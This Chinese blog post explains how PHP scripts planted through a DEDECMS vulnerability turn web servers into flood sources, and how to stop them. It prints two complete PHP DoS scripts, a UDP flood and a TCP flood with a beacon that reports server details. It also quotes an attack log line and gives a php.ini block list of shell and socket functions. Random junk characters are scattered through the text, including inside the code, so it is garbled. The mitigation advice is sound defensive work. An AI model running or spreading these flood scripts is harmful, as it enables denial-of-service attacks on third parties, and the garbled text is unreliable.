服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好
; a# V( N( h! a7 Y! ? 一。php对外发包分析
7 T; O. b( q( ]- S 用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:# Z9 n# ]) `# R( V: J8 P, M7 ~
以下是代码片段:) z* [ ?2 ~2 T3 ]+ g. t
$packets = 0;
+ l- i% t! t4 p $ip = $_GET[\'ip\'];+ t1 w/ a6 ^0 R K% d, {1 O
$rand = $_GET[\'port\'];. o3 ?+ `5 O4 c* s9 |+ N
set_time_limit(0);
6 b" [5 s5 K5 G# [. e ignore_user_abort(FALSE);# F9 c5 E; t5 n8 R: }. [
$exec_time = $_GET[\'time\'];sbxl-20120612$ C1 w- a# B, b* L1 W' E, z
$time = time();
( ^- h- B+ I' ~* H+ |9 B2 f* D5 _* F0 q print \'Flooded: $ip on port $rand8 }: h1 ?9 C! U$ z9 P' z
\';" R4 Q$ h/ Z" w3 c
$max_time = $time+$exec_time;
' ~1 k* L) U, ?' O for($i=0;$i<65535;$i++){
' T! A% e- N8 U& v1 h- F8 _: b $out .= \'X\';
" a& e. Z. G6 y. } `' B5 M6 } }1 [- Y5 y( p% v/ r' f
while(1){
# g. z: K! f, u) D% B8 M) w $packets++;
7 Z& G! }! P: y$ p+ r if(time() > $max_time){
V) b9 h& |/ v9 ^ break;
4 S4 h. ]' t" F# t8 N! m3 x1 r }
9 L3 L4 t2 [+ ^6 c $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);
9 O* a1 K. q# R7 c2 @, |4 x if($fp){
, D) U- T: c) l) K6 x5 O fwrite($fp, $out);
1 D3 Q" s! m1 K5 f9 ?& ] O fclose($fp);3 |1 w. t4 L: G( W1 L/ O
}! o. [- ?1 n3 B- o
}
/ G0 J" }( @7 X4 [$ g echo \'Packet complete at \'.time(\'h:i:s\').\' with5 f3 P0 N! o( h
$packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.
1 E: C* }4 u4 I4 [ round($packets/$exec_time, 2) . \' packets/s ;9 e- A- M6 Y _: p) V
?>
( M6 |' }7 l- M2 i$ a 二。表现特征
" j5 R) B! O& ? 一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.8 O1 i3 O$ Y& b* \
近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.
* n+ g& f x8 e" @8 v 如何快速找到这些站?
4 W! ~9 N: v2 Z9 w% U: q 你可以打开日志/ b1 b2 l. Z8 I Z& ]3 a
C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,
. ?" h+ i+ E2 q7 A 里面有类似这样的记录:. H6 j! a7 E/ F% p
2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
# |) v4 W8 h) X K1 i 最后三项783 Disabled 30_FreeHost_1
6 O* o' z. \, w% Y/ g" j 783就是这个站在IIS中的ID
2 y+ k' O! ]5 {+ K% ~1 z5 C( m- | 30_FreeHost_1就是所在池- {( F2 x6 C& {* x! ^, D
三?解决办法
2 Y. D5 g1 |3 A1 }8 v+ c 1.按上述找到这个网站后停止它.或停止池,并重启IIS.
" x( {5 F6 s% M& {6 s 2.在IP策略,或防火墙中,禁止所有udp向外发送4 |, X7 s& g h- o0 k7 d/ W$ ~0 n7 S
在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.; g6 l! c! r% Z1 a/ e- p
为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)
3 X: G. W4 b5 H 在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)! ^ v6 k" V. Z4 P$ l. N6 Z9 |
3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)
8 P2 ^ y4 ~& V9 z 4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
# O0 ]9 o) p) |4 K9 y/ Y+ ] ignore_user_abort = On" u h- R5 {9 a, D, ^9 O1 R
(注意前面的;号要删除)& N* ^! J1 R* Q) _5 E; `
disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
D- ?8 J8 z+ c ^8 w1 T 在后面加上8 M! M7 A% y! X
fsockopen,set_time_limit
1 ?1 Q0 H5 T6 I+ u, k# J3 ] 但这样会造成很多php程序都不正常./ E! y) h! ~; m- w2 z. ^$ ?
另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?* r" e( K2 K; M9 Z4 R+ q3 w
近期已有新的基于TCP攻击的PHPDDOS代码如下:
* r0 @8 O9 R) W' A" G. K3 F6 C8 j 以下是代码片段:8 d, G7 E5 B5 I+ a: Z' U. a
set_time_limit(999999);; u: U5 @0 L& ?% s$ r
$host = $_GET['host'];
o+ Y( \7 X S $port = $_GET['port'];
0 [) C7 x9 t+ r$ o, Z $exec_time = $_GET['time'];
; J4 g$ W% p3 F C5 g $packets = 64;' I, O' p: V# I4 D8 e6 d# n% C
ignore_user_abort(True);; p1 u. X6 c' y$ `( a* H
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){% }+ o7 v+ O' M K H
if (StrLen($_GET['rat'])<>0){
$ d% [; ]% m( F echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.0 M4 ], s( q0 M, `5 Q2 x& s
php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];: I" l$ n' A9 B6 H; b
exit;2 o: y; s9 I# X0 Z/ V
}& J1 B! y' w1 T* y1 Q3 n
exit;
( {8 `. m2 t G& | }
# J5 \8 O! m" g $max_time = time()+$exec_time;
" G9 ^4 _% n% \! C! P$ { while(1){
/ I# c5 T: S% X $packets++;
% x" a! t P8 u7 q' z if(time() > $max_time or $exec_time != 69){
2 e% Z) F v0 K( i break;4 H; h8 J$ s) e/ H1 @* a
}
2 F6 {7 P* y7 v $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);
0 [! D9 q5 i+ D, A/ d }' [: d( x8 b8 ?3 n" O) j; ]1 H
?>
9 r3 Y7 y$ Y# p8 |( c u3 o! z8 y 同样,可以采有以下解决办法:
0 a; ^6 w, I8 D7 J* F$ k 1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS9 B: F. x; c2 g
ignore_user_abort = On4 J+ h# k+ k" n- x5 U
(注意前面的;号要删除)
5 z s% o4 t) U( H: Q! D7 L- i disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,3 H" x- \6 ?0 v; V5 r& W: ^
在后面加上$ W" i! D, I8 k8 z
fsockopen,set_time_limit2 d6 F# V6 E3 w0 | ^ X
但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法
7 |3 }5 _9 H6 x3 C3 L# ]* K 2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?
8 F5 f7 r' Z6 Y# I) C* L 3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?% q' H& I+ `4 C7 C
文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。
9 h* L0 k/ Q+ v: R" f. E L |